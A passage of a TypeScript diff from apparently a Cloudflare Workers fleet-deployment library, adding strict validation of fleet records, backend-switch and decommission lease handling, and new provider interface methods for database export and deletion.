+    throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+  }
+  const release = (key: string) =>
+    Object.hasOwn(source, key)
+      ? decommissionReleaseSnapshot(source[key], `Fleet ${key}`)
+      : undefined;
+  const activeRelease = release('activeRelease');
+  const pendingRelease = release('pendingRelease');
+  const migrationPriorRelease = release('migrationPriorRelease');
+  const rollbackRelease = release('rollbackRelease');
+  const retiringRelease = release('retiringRelease');
+  const outboundPolicy = Object.hasOwn(source, 'outboundPolicy')
+    ? fleetOutboundPolicyFromUnknown(
+        source.outboundPolicy,
+        tenantTag,
+        environment,
+      )
+    : undefined;
+  const platformTarget = Object.hasOwn(source, 'platformTarget')
+    ? reorderCanonicalObjectLikeSource(
+        backendSwitchPlatformTarget(
+          source.platformTarget,
+          tenantTag,
+          environment,
+        ),
+        source.platformTarget,
+      )
+    : undefined;
+  const platformResources = Object.hasOwn(source, 'platformResources')
+    ? platformTarget
+      ? fleetPlatformResourcesFromUnknown(
+          source.platformResources,
+          tenantTag,
+          environment,
+          platformTarget,
+        )
+      : (() => {
+          throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+        })()
+    : undefined;
+  const migrationIntent = Object.hasOwn(source, 'migrationIntent')
+    ? fleetMigrationIntentFromUnknown(
+        source.migrationIntent,
+        tenantTag,
+        environment,
+      )
+    : undefined;
+  const durableObjectBindings = durableBindings(
+    source.durableObjectBindings,
+    'Fleet Durable Object bindings',
+  );
+  const migrationHistory = Object.hasOwn(
+    source,
+    'durableObjectMigrationHistory',
+  )
+    ? fleetMigrationHistoryFromUnknown(source.durableObjectMigrationHistory)
+    : undefined;
+  const migrationHistoryDigest = Object.hasOwn(
+    source,
+    'durableObjectMigrationHistoryDigest',
+  )
+    ? source.durableObjectMigrationHistoryDigest
+    : undefined;
+  if (
+    (migrationHistory === undefined) !==
+      (migrationHistoryDigest === undefined) ||
+    (migrationHistory &&
+      (typeof migrationHistoryDigest !== 'string' ||
+        durableObjectMigrationHistoryDigest(migrationHistory) !==
+          migrationHistoryDigest)) ||
+    (source.durableObjectTag !== undefined &&
+      (typeof source.durableObjectTag !== 'string' ||
+        !source.durableObjectTag)) ||
+    (source.pendingSpecDigest !== undefined &&
+      (typeof source.pendingSpecDigest !== 'string' ||
+        !isSha256(source.pendingSpecDigest))) ||
+    (source.pendingArtifactVersion !== undefined &&
+      (typeof source.pendingArtifactVersion !== 'string' ||
+        !source.pendingArtifactVersion ||
+        source.pendingArtifactVersion === 'pending')) ||
+    (source.settledSettlementKey !== undefined &&
+      (typeof source.settledSettlementKey !== 'string' ||
+        !source.settledSettlementKey))
+  ) {
+    throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+  }
+  const exportFields = [
+    source.databaseExportLocation,
+    source.databaseExportSha256,
+    source.databaseExportSize,
+  ];
+  if (
+    exportFields.some((value) => value !== undefined) &&
+    (typeof source.databaseExportLocation !== 'string' ||
+      !source.databaseExportLocation ||
+      typeof source.databaseExportSha256 !== 'string' ||
+      !isSha256(source.databaseExportSha256) ||
+      !Number.isSafeInteger(source.databaseExportSize) ||
+      Number(source.databaseExportSize) < 1)
+  ) {
+    throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+  }
+  const provisional: FleetRecord = {
+    tenantTag,
+    backend: source.backend,
+    environment,
+    scriptName: source.scriptName,
+    databaseId: source.databaseId,
+    databaseName: source.databaseName,
+    schemaVersion: source.schemaVersion as number,
+    artifactVersion: source.artifactVersion,
+    desiredSpecDigest: source.desiredSpecDigest,
+    ...(typeof source.pendingSpecDigest === 'string'
+      ? { pendingSpecDigest: source.pendingSpecDigest }
+      : {}),
+    ...(typeof source.pendingArtifactVersion === 'string'
+      ? { pendingArtifactVersion: source.pendingArtifactVersion }
+      : {}),
+    ...(activeRelease ? { activeRelease } : {}),
+    ...(pendingRelease ? { pendingRelease } : {}),
+    ...(migrationPriorRelease ? { migrationPriorRelease } : {}),
+    ...(rollbackRelease ? { rollbackRelease } : {}),
+    ...(retiringRelease ? { retiringRelease } : {}),
+    ...(outboundPolicy ? { outboundPolicy } : {}),
+    ...(platformResources ? { platformResources } : {}),
+    ...(platformTarget ? { platformTarget } : {}),
+    ...(migrationIntent ? { migrationIntent } : {}),
+    backendSwitchIntent: switchIntent,
+    ...(shell ? { decommissionIntent: shell } : {}),
+    // cleanupIntent is unconditionally rejected above and never emitted here.
+    ...(invocationAuthority ? { invocationAuthority } : {}),
+    ...(applicationResources ? { applicationResources } : {}),
+    ...(applicationBindings ? { applicationBindings } : {}),
+    ...(typeof source.durableObjectTag === 'string'
+      ? { durableObjectTag: source.durableObjectTag }
+      : {}),
+    ...(migrationHistory
+      ? { durableObjectMigrationHistory: migrationHistory }
+      : {}),
+    ...(typeof migrationHistoryDigest === 'string'
+      ? { durableObjectMigrationHistoryDigest: migrationHistoryDigest }
+      : {}),
+    durableObjectBindings,
+    routeHostname: source.routeHostname,
+    phase: source.phase as ProvisioningPhase,
+    ...(typeof source.databaseExportLocation === 'string'
+      ? { databaseExportLocation: source.databaseExportLocation }
+      : {}),
+    ...(typeof source.databaseExportSha256 === 'string'
+      ? { databaseExportSha256: source.databaseExportSha256 }
+      : {}),
+    ...(typeof source.databaseExportSize === 'number'
+      ? { databaseExportSize: source.databaseExportSize }
+      : {}),
+    ...(typeof source.settledSettlementKey === 'string'
+      ? { settledSettlementKey: source.settledSettlementKey }
+      : {}),
+    updatedAt: source.updatedAt,
+  };
+  const phase = effectiveLifecyclePhase(provisional);
+  const migrationInvalid = Boolean(
+    migrationIntent &&
+      (phase !== 'migrating' ||
+        migrationIntent.targetSpecDigest !==
+          migrationIntent.targetRelease.specDigest ||
+        migrationIntent.target.d1SchemaVersion !==
+          (migrationIntent.platformOnly === true
+            ? provisional.schemaVersion
+            : migrationIntent.targetRelease.releaseSchemaVersion) ||
+        !sameCanonicalData(migrationIntent.priorRelease, activeRelease) ||
+        (migrationIntent.platformOnly === true
+          ? !sameCanonicalData(migrationIntent.targetRelease, activeRelease) ||
+            migrationPriorRelease !== undefined ||
+            pendingRelease !== undefined ||
+            ['candidate-deployed', 'candidate-armed'].includes(
+              migrationIntent.subphase,
+            )
+          : !sameCanonicalData(
+              migrationIntent.priorRelease,
+              migrationPriorRelease,
+            ) ||
+            !sameCanonicalData(migrationIntent.targetRelease, pendingRelease))),
+  );
+  const migrationTargetInvalid = Boolean(
+    migrationIntent &&
+      [
+        'platform-applied',
+        'candidate-deployed',
+        'candidate-armed',
+        'route-published',
+      ].includes(migrationIntent.subphase) &&
+      !sameCanonicalData(platformTarget, migrationIntent.target),
+  );
+  const resourcePolicy =
+    platformResources?.outboundPolicy ?? platformResources?.egressProxy;
+  const resourcePolicyInvalid = Boolean(
+    platformResources &&
+      (resourcePolicy?.policyId !== outboundPolicy?.policyId ||
+        !sameCanonicalData(
+          resourcePolicy?.policyHosts,
+          outboundPolicy?.policyHosts,
+        ) ||
+        resourcePolicy?.policyDigest !== outboundPolicy?.policyDigest),
+  );
+  if (
+    (source.backend === 'workers-for-platforms') !== Boolean(outboundPolicy) ||
+    resourcePolicyInvalid ||
+    (platformTarget &&
+      !sameCanonicalData(platformTarget.outboundPolicy, outboundPolicy)) ||
+    (source.backend === 'plain-worker' &&
+      (platformTarget !== undefined || migrationIntent !== undefined)) ||
+    (source.backend === 'workers-for-platforms' &&
+      platformResources !== undefined &&
+      platformTarget === undefined) ||
+    (source.backend === 'workers-for-platforms' &&
+      phase === 'migrating' &&
+      migrationIntent === undefined) ||
+    (source.pendingArtifactVersion !== undefined &&
+      (source.backend !== 'plain-worker' ||
+        phase !== 'migrating' ||
+        typeof source.pendingSpecDigest !== 'string')) ||
+    migrationInvalid ||
+    migrationTargetInvalid
+  ) {
+    throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+  }
+  if (shell) {
+    if (
+      (shell.state === 'complete'
+        ? provisional.phase !== 'decommissioned'
+        : provisional.phase !== 'decommission-advancing') ||
+      source.pendingSpecDigest !== undefined ||
+      source.pendingArtifactVersion !== undefined ||
+      pendingRelease !== undefined ||
+      migrationPriorRelease !== undefined ||
+      rollbackRelease !== undefined ||
+      retiringRelease !== undefined ||
+      migrationIntent !== undefined
+    ) {
+      throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+    }
+    const switchExport = switchIntent.databaseExport;
+    if (
+      (switchExport === undefined) !==
+        (source.databaseExportLocation === undefined) ||
+      (switchExport &&
+        (switchExport.databaseId !== provisional.databaseId ||
+          switchExport.location !== source.databaseExportLocation ||
+          switchExport.sha256 !== source.databaseExportSha256 ||
+          switchExport.size !== source.databaseExportSize))
+    ) {
+      throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+    }
+  }
+  return provisional;
+}
+
+function reorderCanonicalObjectLikeSource<Value extends object>(
+  canonical: Value,
+  source: unknown,
+): Value {
+  if (!source || typeof source !== 'object' || Array.isArray(source)) {
+    throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+  }
+  return Object.fromEntries(
+    Object.keys(source).map((key) => [
+      key,
+      (canonical as Record<string, unknown>)[key],
+    ]),
+  ) as Value;
+}
+
+function applicationResourcesFromRecord(
+  value: unknown,
+): readonly import('./types.js').ApplicationR2Resource[] {
+  const resources = applicationResources(value);
+  const sorted = [...resources].sort((left, right) =>
+    left.name < right.name ? -1 : left.name > right.name ? 1 : 0,
+  );
+  if (!sameCanonicalData(resources, sorted)) {
+    throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+  }
+  return resources;
+}
+
+/** @internal Strict canonical boundary for switch and decommission authority. */
+export function backendSwitchFleetRecordFromUnknown(
+  value: unknown,
+): CanonicalBackendSwitchFleetRecord {
+  try {
+    const source = structuralBackendSwitchFleetRecordFromUnknown(value)
+      .record as unknown as Record<string, unknown>;
+    const actualKeys = Reflect.ownKeys(source);
+    if (
+      actualKeys.some(
+        (key) =>
+          typeof key !== 'string' ||
+          !BACKEND_SWITCH_RECORD_KEYS.includes(
+            key as (typeof BACKEND_SWITCH_RECORD_KEYS)[number],
+          ) ||
+          source[key] === undefined,
+      ) ||
+      [...BACKEND_SWITCH_REQUIRED_RECORD_KEYS].some(
+        (key) => !Object.hasOwn(source, key),
+      ) ||
+      typeof source.updatedAt !== 'string' ||
+      !Number.isFinite(Date.parse(source.updatedAt)) ||
+      new Date(source.updatedAt).toISOString() !== source.updatedAt
+    ) {
+      throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+    }
+    const switchIntent = backendSwitchIntentFromUnknown(
+      source.backendSwitchIntent,
+    );
+    const provisional = {
+      ...source,
+      backendSwitchIntent: switchIntent,
+    } as unknown as FleetRecord;
+    const shell = Object.hasOwn(source, 'decommissionIntent')
+      ? normalizeDecommissionAdvanceIntent(
+          source.decommissionIntent as import('./types.js').DecommissionAdvanceIntent,
+          provisional,
+        )
+      : undefined;
+    if (shell && shell.updatedAt !== source.updatedAt) {
+      throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+    }
+    // Unlike the decommission shell, a cleanup intent's updatedAt tracks the
+    // cleanup operation rather than the switch write, so no record-timestamp
+    // equality is required here; the strict codec still validates identity.
+    const cleanupIntent = Object.hasOwn(source, 'cleanupIntent')
+      ? normalizeCleanupAdvanceIntent(
+          source.cleanupIntent as CleanupAdvanceIntent,
+          provisional,
+        )
+      : undefined;
+    const invocationAuthority = Object.hasOwn(source, 'invocationAuthority')
+      ? invocationAuthorityCarrierFromUnknown(source.invocationAuthority)
+      : undefined;
+    const record = canonicalFleetRecordFromSource(
+      source,
+      switchIntent,
+      shell,
+      cleanupIntent,
+      invocationAuthority,
+    );
+    return {
+      record,
+      comparisonBytes: JSON.stringify(canonicalJsonValue(record)),
+    };
+  } catch {
+    throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+  }
+}
+
+/** @internal Constructs the initial backend-switch operation shell. */
+export function backendSwitchDecommissionShell(
+  input: Readonly<{
+    record: FleetRecord;
+    intent: BackendSwitchIntent;
+    operationId: string;
+    snapshotSha256: string;
+    entrySubphase: BackendSwitchSubphase;
+    now: string;
+  }>,
+): import('./types.js').DecommissionAdvanceIntent {
+  assertNoActiveCleanup(input.record, 'backend switch decommission');
+  const snapshot = input.intent.decommissionSnapshot;
+  if (
+    !snapshot ||
+    input.intent.decommissionSnapshotSha256 !== input.snapshotSha256 ||
+    input.intent.decommissionEntrySubphase !== input.entrySubphase
+  ) {
+    throw new Error('backend switch decommission authority is incomplete');
+  }
+  const lifecyclePhase = backendSwitchDecommissionLifecyclePhase(
+    input.intent.subphase,
+    effectiveLifecyclePhase(
+      input.record,
+    ) as import('./types.js').NormalDecommissionLifecyclePhase,
+  );
+  if (lifecyclePhase === 'decommissioned') {
+    throw new Error('backend switch decommission is already complete');
+  }
+  return {
+    version: 1,
+    operationId: input.operationId,
+    revision: 0,
+    generation: 0,
+    updatedAt: input.now,
+    identity: {
+      record: {
+        tenantTag: input.record.tenantTag,
+        environment: input.record.environment,
+        backend: input.record.backend,
+        scriptName: input.record.scriptName,
+        databaseId: input.record.databaseId,
+        databaseName: input.record.databaseName,
+        routeHostname: input.record.routeHostname,
+      },
+      mode: {
+        kind: 'backend-switch',
+        priorSpecDigest: input.intent.prior.specDigest,
+        targetSpecDigest: input.intent.targetSpecDigest,
+        decommissionSnapshotSha256: input.snapshotSha256,
+        backendSwitchSubphase: input.entrySubphase,
+      },
+    },
+    lifecyclePhase,
+    state: 'transitioning',
+  };
+}
+
+type ConsumedSwitchEntryCarrier =
+  | 'pendingSpecDigest'
+  | 'pendingArtifactVersion'
+  | 'pendingRelease'
+  | 'migrationPriorRelease'
+  | 'rollbackRelease'
+  | 'retiringRelease'
+  | 'migrationIntent';
+
+function withoutConsumedSwitchEntryCarriers(
+  record: FleetRecord,
+): Omit<FleetRecord, ConsumedSwitchEntryCarrier> {
+  const {
+    pendingSpecDigest: _pendingSpecDigest,
+    pendingArtifactVersion: _pendingArtifactVersion,
+    pendingRelease: _pendingRelease,
+    migrationPriorRelease: _migrationPriorRelease,
+    rollbackRelease: _rollbackRelease,
+    retiringRelease: _retiringRelease,
+    migrationIntent: _migrationIntent,
+    ...stable
+  } = record;
+  return stable;
+}
+
+// The top-level `applicationResources` a switch teardown's record carries: the
+// `applicationR2Progress` entries the teardown persists, projected back onto
+// the resources they track through `applicationR2ResourceFromProgress`, which
+// `assertCompleteRecord` also reads to compare a record's own states.
+function switchTeardownApplicationResources(
+  intent: BackendSwitchIntent,
+): readonly import('./types.js').ApplicationR2Resource[] {
+  return (
+    intent.applicationR2Progress ??
+    intent.decommissionSnapshot?.applicationResources.map((resource) => ({
+      resource,
+      subphase: resource.state,
+    })) ??
+    []
+  ).map(applicationR2ResourceFromProgress);
+}
+
+/** @internal Atomically consumes switch-entry carriers and installs its shell. */
+export function normalizeSwitchDecommissionEntry(
+  record: FleetRecord,
+  intent: BackendSwitchIntent,
+  shell: import('./types.js').DecommissionAdvanceIntent,
+): FleetRecord {
+  const snapshot = intent.decommissionSnapshot;
+  if (!snapshot) {
+    throw new Error('backend switch decommission authorization was lost');
+  }
+  const stable = withoutConsumedSwitchEntryCarriers(record);
+  const applicationResources = switchTeardownApplicationResources(intent);
+  return {
+    ...stable,
+    desiredSpecDigest: snapshot.desiredSpecDigest,
+    backendSwitchIntent: intent,
+    decommissionIntent: shell,
+    applicationResources,
+    phase: 'decommission-advancing',
+    updatedAt: shell.updatedAt,
+  };
+}
+
+export interface BackendSwitchLease extends ExternalMutationFence {
+  get(): Promise<BackendSwitchIntent | undefined>;
+  put(intent: BackendSwitchIntent): Promise<void>;
+  current(): FleetRecord;
+  putOwnership(record: FleetRecord, intent: BackendSwitchIntent): Promise<void>;
+}
+
+export type BackendSwitchMutationFence = ExternalMutationFence;
+
+export function finalizedBridgeForRecord(record: FleetRecord): BridgeSnapshot {
+  const intent = record.backendSwitchIntent;
+  const bridge = intent?.bridge;
+  const state = record.platformResources?.stateWorker;
+  if (
+    intent?.subphase !== 'finalized' ||
+    !bridge?.stateOnly ||
+    bridge.publicRouteAttached ||
+    record.backend !== 'workers-for-platforms' ||
+    state?.plane !== 'ordinary' ||
+    bridge.scriptName !== record.scriptName ||
+    bridge.scriptName !== state.scriptName ||
+    bridge.databaseId !== record.databaseId ||
+    bridge.artifactVersion !== state.artifactVersion ||
+    bridge.artifactDigest !== state.artifactDigest ||
+    JSON.stringify(bridge.durableObjectBindings) !==
+      JSON.stringify(state.durableObjectBindings) ||
+    JSON.stringify(bridge.namespaceIds) !== JSON.stringify(state.namespaceIds)
+  ) {
+    throw new Error(
+      'finalized backend switch does not own an exact ordinary state bridge',
+    );
+  }
+  return bridge;
+}
+
+export function assertBackendSwitchInactive(record: FleetRecord): void {
+  if (
+    record.backendSwitchIntent &&
+    !SETTLED_BACKEND_SWITCH_SUBPHASES.has(record.backendSwitchIntent.subphase)
+  ) {
+    throw new Error(
+      `deployment '${record.tenantTag}:${record.environment}' has active backend switch '${record.backendSwitchIntent.subphase}'`,
+    );
+  }
+}
+
+/**
+ * @internal Durably commits the candidate-invocation authority flip before a
+ * candidate-invoking provider dispatch. A no-op when the carrier already
+ * carries a timestamp; otherwise the dedicated flip put is awaited so a write
+ * failure aborts the flow before the provider call dispatches. Legacy records
+ * without a carrier receive the whole carrier at the flip.
+ */
+export async function commitInvocationAuthority(
+  lease: Pick<FleetStateLease, 'put'>,
+  record: FleetRecord,
+  clock: () => number,
+): Promise<FleetRecord> {
+  if (typeof record.invocationAuthority?.authorizedAt === 'string') {
+    return record;
+  }
+  const timestamp = new Date(clock()).toISOString();
+  const flipped: FleetRecord = {
+    ...record,
+    invocationAuthority: { version: 1, authorizedAt: timestamp },
+    updatedAt: timestamp,
+  };
+  await lease.put(flipped);
+  return flipped;
+}
+
+/** @internal Package-private test/coordination seam; not a root export. */
+export async function withBackendSwitchLease<T>(
+  store: FleetStateStore,
+  tenantTag: string,
+  environment: string,
+  clock: () => number,
+  operation: (lease: BackendSwitchLease) => Promise<T>,
+): Promise<T> {
+  return store.withDeploymentLease(
+    tenantTag,
+    environment,
+    async (fleetLease) => {
+      const loaded = await store.get(tenantTag, environment);
+      if (!loaded) {
+        throw new Error(
+          `deployment '${tenantTag}:${environment}' is not provisioned`,
+        );
+      }
+      const structuralLoaded =
+        structuralBackendSwitchFleetRecordFromUnknown(loaded);
+      let record = structuralLoaded.carriesBackendSwitchAuthority
+        ? backendSwitchFleetRecordFromUnknown(loaded).record
+        : structuralLoaded.record;
+      const writeCanonical = async (
+        intended: CanonicalBackendSwitchFleetRecord,
+      ): Promise<void> => {
+        try {
+          await fleetLease.put(intended.record);
+          record = intended.record;
+        } catch (writeError) {
+          const reread = await store.get(tenantTag, environment);
+          if (!reread) throw writeError;
+          const canonicalReread = backendSwitchFleetRecordFromUnknown(reread);
+          if (canonicalReread.comparisonBytes !== intended.comparisonBytes) {
+            throw writeError;
+          }
+          record = canonicalReread.record;
+        }
+      };
+      const lease: BackendSwitchLease = {
+        mutationLeaseTtlMs: fleetLease.mutationLeaseTtlMs,
+        assertOwned: () => fleetLease.assertOwned(),
         get: async () => record?.backendSwitchIntent,
         current: () => record as FleetRecord,
-        put: async (intent) => {
+        put: async (rawIntent) => {
+          if (record.decommissionIntent) {
+            throw new Error(
+              'backend switch lease put requires putOwnership when a decommission shell is present',
+            );
+          }
+          const intent = backendSwitchIntentFromUnknown(rawIntent);
           if (
             intent.tenantTag !== tenantTag ||
             intent.environment !== environment
           ) {
             throw new Error('backend switch lease cannot write another intent');
           }
-          record = {
-            ...(record as FleetRecord),
+          const timestamp = new Date(clock()).toISOString();
+          // The invocation-authority flip rides the candidate-invoking
+          // authorization-transition put so the carrier is durable before the
+          // external candidate upload or dispatch call it authorizes.
+          const flip =
+            (intent.subphase === 'candidate-deploy-authorized' ||
+              intent.subphase === 'host-publish-authorized') &&
+            typeof record.invocationAuthority?.authorizedAt !== 'string';
+          const provisional = backendSwitchFleetRecordFromUnknown({
+            ...record,
+            ...(flip
+              ? {
+                  invocationAuthority: {
+                    version: 1,
+                    authorizedAt: timestamp,
+                  } satisfies InvocationAuthorityCarrier,
+                }
+              : {}),
             backendSwitchIntent: intent,
-            updatedAt: new Date().toISOString(),
-          };
-          await fleetLease.put(record);
+          }).record;
+          const intended = backendSwitchFleetRecordFromUnknown({
+            ...provisional,
+            updatedAt: timestamp,
+          });
+          await writeCanonical(intended);
         },
-        putOwnership: async (nextRecord, intent) => {
+        putOwnership: async (rawNextRecord, rawIntent) => {
+          const nextRecord =
+            structuralBackendSwitchFleetRecordFromUnknown(rawNextRecord).record;
+          if (
+            record.decommissionIntent &&
+            !Object.hasOwn(nextRecord, 'decommissionIntent')
+          ) {
+            throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+          }
+          const intent = backendSwitchIntentFromUnknown(rawIntent);
           if (
             nextRecord.tenantTag !== tenantTag ||
             nextRecord.environment !== environment
@@ -1197,12 +2713,33 @@ async function withBackendSwitchLease<T>(
               'backend switch lease cannot commit another deployment',
             );
           }
-          record = {
+          if (
+            nextRecord.updatedAt !== record.updatedAt ||
+            (nextRecord.decommissionIntent &&
+              nextRecord.decommissionIntent.updatedAt !== record.updatedAt)
+          ) {
+            throw new Error(
+              'backend switch lease ownership timestamp placeholder is stale',
+            );
+          }
+          const provisional = backendSwitchFleetRecordFromUnknown({
             ...nextRecord,
             backendSwitchIntent: intent,
-            updatedAt: new Date().toISOString(),
-          };
-          await fleetLease.put(record);
+          }).record;
+          const timestamp = new Date(clock()).toISOString();
+          const intended = backendSwitchFleetRecordFromUnknown({
+            ...provisional,
+            updatedAt: timestamp,
+            ...(provisional.decommissionIntent
+              ? {
+                  decommissionIntent: {
+                    ...provisional.decommissionIntent,
+                    updatedAt: timestamp,
+                  },
+                }
+              : {}),
+          });
+          await writeCanonical(intended);
         },
       };
       return operation(lease);
@@ -1211,6 +2748,54 @@ async function withBackendSwitchLease<T>(
 }
 
 export interface BackendSwitchProvider {
+  /** Optional exact inspection used only when a live pending ordinary version exists. */
+  captureSwitchEntryPendingArtifact?(
+    input: Readonly<{
+      readonly expectedArtifactVersion: string;
+      readonly spec: DeploymentSpec;
+      readonly currentRecord: FleetRecord;
+      readonly fence: BackendSwitchMutationFence;
+    }>,
+  ): Promise<unknown>;
+  /** Optional bounded attachment scanner used by the root-only advance API. */
+  advanceSwitchDecommissionAttachmentScan?(
+    input: DecommissionAttachmentScanInput,
+  ): Promise<unknown>;
+  /** Receipt storage authority paired with `exportSwitchDatabaseReceipt`. */
+  readonly databaseExportReceiptAuthority?: string;
+  /** Optional idempotent receipt export used by bounded teardown. */
+  exportSwitchDatabaseReceipt?(
+    identity: DatabaseExportReceiptIdentity,
+    input: Readonly<{
+      prior: PlainBackendSnapshot;
+      targetSpec: DeploymentSpec;
+      fence: BackendSwitchMutationFence;
+    }>,
+  ): Promise<import('./types.js').DatabaseExport>;
+  getSwitchDatabase?(
+    databaseId: string,
+  ): Promise<DatabaseReference | undefined>;
+  readSwitchDatabaseOwner?(
+    database: DatabaseReference,
+    fence: BackendSwitchMutationFence,
+  ): Promise<string | undefined>;
+  assertSwitchDatabaseDeletionResidualsRemoved?(
+    input: Readonly<{
+      prior: PlainBackendSnapshot;
+      targetSpec: DeploymentSpec;
+      currentRecord: FleetRecord;
+      database: DatabaseReference;
+      fence: BackendSwitchMutationFence;
+    }>,
+  ): Promise<void>;
+  deleteSwitchDatabaseBounded?(
+    input: Readonly<{
+      prior: PlainBackendSnapshot;
+      targetSpec: DeploymentSpec;
+      database: DatabaseReference;
+      fence: BackendSwitchMutationFence;
+    }>,
+  ): Promise<void>;
   describeFinalizedBridgeTarget(
     targetSpec: DeploymentSpec,
     currentRecord: FleetRecord,
@@ -1355,6 +2940,11 @@ export interface BackendSwitchProvider {
     readonly environment: string;
     readonly routeHostname: string;
     readonly routeTargets: readonly HostRoutingTarget[];
+    readonly entryPendingArtifact?: Readonly<{
+      artifactVersion: string;
+      namespaceIds: readonly string[];
+      spec: DeploymentSpec;
+    }>;
     readonly fence: BackendSwitchMutationFence;
   }): Promise<void>;
   assertSwitchTrafficRemoved(input: {
@@ -1376,6 +2966,11 @@ export interface BackendSwitchProvider {
     readonly plan?: BridgeMutationPlan;
     readonly targetSpec: DeploymentSpec;
     readonly allowedArtifactVersions: readonly string[];
+    readonly entryPendingArtifact?: Readonly<{
+      artifactVersion: string;
+      namespaceIds: readonly string[];
+      spec: DeploymentSpec;
+    }>;
     readonly fence: BackendSwitchMutationFence;
   }): Promise<void>;
   findSwitchApplicationR2(
@@ -1457,6 +3052,11 @@ export async function reconcileFinalizedBackendSwitchState(input: {
   readonly lease: FleetStateLease;
   readonly clock: () => number;
 }): Promise<FleetRecord> {
+  assertNoActiveDecommission(
+    input.record,
+    'reconcileFinalizedBackendSwitchState',
+  );
+  assertNoActiveCleanup(input.record, 'reconcileFinalizedBackendSwitchState');
   const priorBridge = finalizedBridgeForRecord(input.record);
   const switchIntent = input.record.backendSwitchIntent;
   if (!switchIntent) {
@@ -1553,7 +3153,9 @@ export async function reconcileFinalizedBackendSwitchState(input: {
     },
     platformTarget: input.target,
     outboundPolicy: input.target.outboundPolicy,
-    durableObjectTag: input.target.stateDurableObjectTag,
+    ...(input.target.stateDurableObjectTag
+      ? { durableObjectTag: input.target.stateDurableObjectTag }
+      : {}),
     durableObjectMigrationHistory: plan.durableObjectMigrations,
     durableObjectMigrationHistoryDigest:
       input.target.stateDurableObjectHistoryDigest,
@@ -1646,11 +3248,12 @@ function assertWorkersForPlatformsOwnership(
     record.scriptName !== intent.prior.scriptName ||
     record.databaseId !== intent.prior.databaseId ||
     record.phase !== 'ready' ||
-    JSON.stringify(record.activeRelease) !==
-      JSON.stringify(canonicalCandidateRelease(intent)) ||
-    JSON.stringify(record.platformTarget) !== JSON.stringify(intent.target) ||
-    JSON.stringify(record.outboundPolicy) !==
-      JSON.stringify(intent.target.outboundPolicy) ||
+    !sameCanonicalData(
+      record.activeRelease,
+      canonicalCandidateRelease(intent),
+    ) ||
+    !sameCanonicalData(record.platformTarget, intent.target) ||
+    !sameCanonicalData(record.outboundPolicy, intent.target.outboundPolicy) ||
     record.platformResources?.stateWorker.scriptName !==
       requiredBridge(intent).scriptName ||
     record.migrationIntent !== undefined
@@ -1713,7 +3316,16 @@ export async function switchPlainDeploymentToWorkersForPlatforms(options: {
     options.store,
     options.priorSpec.tenantTag,
     options.priorSpec.environment,
+    Date.now,
     async (lease) => {
+      assertNoActiveDecommission(
+        lease.current(),
+        'switchPlainDeploymentToWorkersForPlatforms',
+      );
+      assertNoActiveCleanup(
+        lease.current(),
+        'switchPlainDeploymentToWorkersForPlatforms',
+      );
       let intent = await lease.get();
       if (!intent) {
         const prior = await options.provider.snapshotPlainDeployment(
@@ -1754,14 +3366,11 @@ export async function switchPlainDeploymentToWorkersForPlatforms(options: {
               intent.prior.applicationResources,
             ),
           ) ||
-        JSON.stringify(intent.target) !== JSON.stringify(options.target)
+        !sameCanonicalData(intent.target, options.target)
       ) {
         throw new Error('backend switch request differs from durable intent');
       }
-      if (
-        intent.subphase === 'rolled-back' ||
-        intent.subphase === 'finalized'
-      ) {
+      if (SETTLED_BACKEND_SWITCH_SUBPHASES.has(intent.subphase)) {
         throw new Error(`backend switch is already ${intent.subphase}`);
       }
       if (intent.subphase === 'ready') return intent;
@@ -1948,7 +3557,10 @@ export async function rollbackBackendSwitch(options: {
     options.store,
     options.priorSpec.tenantTag,
     options.priorSpec.environment,
+    Date.now,
     async (lease) => {
+      assertNoActiveDecommission(lease.current(), 'rollbackBackendSwitch');
+      assertNoActiveCleanup(lease.current(), 'rollbackBackendSwitch');
       let intent = await lease.get();
       if (!intent) {
         throw new Error('backend switch has no rollback snapshot');
@@ -2144,7 +3756,10 @@ export async function finalizeBackendSwitch(options: {
     options.store,
     options.targetSpec.tenantTag,
     options.targetSpec.environment,
+    Date.now,
     async (lease) => {
+      assertNoActiveDecommission(lease.current(), 'finalizeBackendSwitch');
+      assertNoActiveCleanup(lease.current(), 'finalizeBackendSwitch');
       let intent = await lease.get();
       if (!intent?.bridge || !intent.candidate) {
         throw new Error('backend switch has no finalization snapshot');
@@ -2231,6 +3846,12 @@ function baseRelease(
 function authorizeDecommissionSnapshot(
   record: FleetRecord,
   intent: BackendSwitchIntent,
+  authority?: Readonly<{
+    desiredSpecDigest: string;
+    entryPendingArtifactVersion: string | null;
+    entryPendingNamespaceIds: readonly string[] | null;
+    providerTargetSpecDigest: string;
+  }>,
 ): BackendSwitchDecommissionSnapshot {
   if (
     record.tenantTag !== intent.tenantTag ||
@@ -2316,14 +3937,25 @@ function authorizeDecommissionSnapshot(
       }),
     ).values(),
   ].sort((left, right) =>
-    JSON.stringify(left.routeTarget).localeCompare(
-      JSON.stringify(right.routeTarget),
-    ),
+    JSON.stringify(left.routeTarget) < JSON.stringify(right.routeTarget)
+      ? -1
+      : JSON.stringify(left.routeTarget) > JSON.stringify(right.routeTarget)
+        ? 1
+        : 0,
   );
   return {
+    ...(authority
+      ? {
+          prior: intent.prior,
+          restoredArtifactVersion: intent.restoredArtifactVersion ?? null,
+          entryPendingArtifactVersion: authority.entryPendingArtifactVersion,
+          entryPendingNamespaceIds: authority.entryPendingNamespaceIds,
+          providerTargetSpecDigest: authority.providerTargetSpecDigest,
+        }
+      : {}),
     routeHostname: record.routeHostname.toLowerCase(),
     routeTargets,
-    desiredSpecDigest: record.desiredSpecDigest,
+    desiredSpecDigest: authority?.desiredSpecDigest ?? record.desiredSpecDigest,
     target: currentTarget,
     releases,
     applicationResources: record.applicationResources ?? [],
@@ -2333,7 +3965,19 @@ function authorizeDecommissionSnapshot(
   };
 }
 
-export async function decommissionBackendSwitch(options: {
+function normalizeLegacySwitchDecommissionEntry(
+  record: FleetRecord,
